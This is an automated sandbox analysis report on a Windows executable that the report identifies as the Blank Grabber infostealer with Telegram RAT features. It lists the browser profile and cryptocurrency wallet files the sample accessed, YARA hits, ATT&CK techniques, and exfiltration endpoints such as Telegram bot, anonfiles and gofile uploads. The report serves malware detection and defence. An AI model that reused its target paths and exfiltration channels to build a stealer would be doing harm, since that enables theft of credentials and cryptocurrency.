Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

File read: C:\Users\user\AppData\Local\Temp\? ?\Credentials\Chrome\Chrome Cookies.txt

Source: Yara match

File source: Process Memory Space: X9g8L63QGs.exe PID: 3800, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000007.00000003.1686994735.000001E7C3B87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1689633424.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1709310873.000001E7C39E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1275666676.000001FB29EE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1275666676.000001FB29EE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1689985178.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: X9g8L63QGs.exe PID: 3396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: X9g8L63QGs.exe PID: 3800, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI33962\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: X9g8L63QGs.exe PID: 3800, type: MEMORYSTR

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA450C0 bind,		7_2_00007FFB1BA450C0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA460CC listen,		7_2_00007FFB1BA460CC

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	4 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	1 Credentials In Files	3 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	122 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	49 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	251 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
X9g8L63QGs.exe	47%	ReversingLabs	Win64.Trojan.Leonem
X9g8L63QGs.exe	67%	Virustotal		Browse
X9g8L63QGs.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI33962\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI33962\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://api.anonfiles.com/uploadr	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
discord.com	162.159.137.232	true	false	high
ip-api.com	208.95.112.1	true	false	high
blank-ivnd9.in	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/BlankOBF	X9g8L63QGs.exe, 00000007.00000003.1286894963.000001E7C3082000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1287219139.000001E7C29BD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1287263536.000001E7C2D30000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1287314117.000001E7C2D32000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.avito.ru/	X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServerrzr	X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2C80000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1289606937.000001E7C2D42000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	X9g8L63QGs.exe, 00000004.00000002.1720049067.000001FB29ED8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ctrip.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://weibo.com/	X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EBB000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EB4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload	X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.msn.com	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38A8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000014.00000002.1488439935.000002452B935000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.0000017524565000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.0000017515E59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cacerts.digi	X9g8L63QGs.exe, 00000004.00000003.1273728982.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0205/	X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.reddit.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000014.00000002.1444673168.000002451B8C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.00000175144F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.ca/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C2440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C2440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ebay.co.uk/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000046.00000002.1499829000.0000017515DFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000014.00000002.1444673168.000002451BAEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ebay.de/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000046.00000002.1499829000.0000017515DFD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000046.00000002.1499829000.00000175156AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	X9g8L63QGs.exe, 00000007.00000003.1688465803.000001E7C28C2000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290104191.000001E7C2D9F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290046859.000001E7C2E0D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694008349.000001E7C29A2000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C28C6000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691953051.000001E7C29A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	X9g8L63QGs.exe, 00000007.00000002.1693650050.000001E7C2780000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1279203002.000001E7C2569000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	X9g8L63QGs.exe, 00000007.00000002.1693650050.000001E7C2780000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3983000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1481477525.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C29E9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1431878807.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1457946992.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445056949.000001E7C3ADF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1454766245.000001E7C2FDE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1423636617.000001E7C2FD4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1428143549.000001E7C3A20000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445232213.000001E7C3A1E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp	false		high
https://allegro.pl/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3884000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000046.00000002.1499829000.0000017515DFD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1695698107.000001E7C2EAE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1692076374.000001E7C2EBC000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1692121496.000001E7C2EAD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2EA5000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1695917994.000001E7C2EBD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691987395.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3400000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/	X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C724000.00000040.00000001.01000000.00000005.sdmp	false		high
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngp?s	X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bugzilla.mo	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3884000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3840000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/wiki/Development-Methodology	X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C3380000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/uploadr	X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2C80000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1289606937.000001E7C2D42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000014.00000002.1444673168.000002451BAEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google.com/mail	X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C339C000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1697474979.000001E7C32E0000.00000004.00001000.00020000.00000000.sdmp	false		high
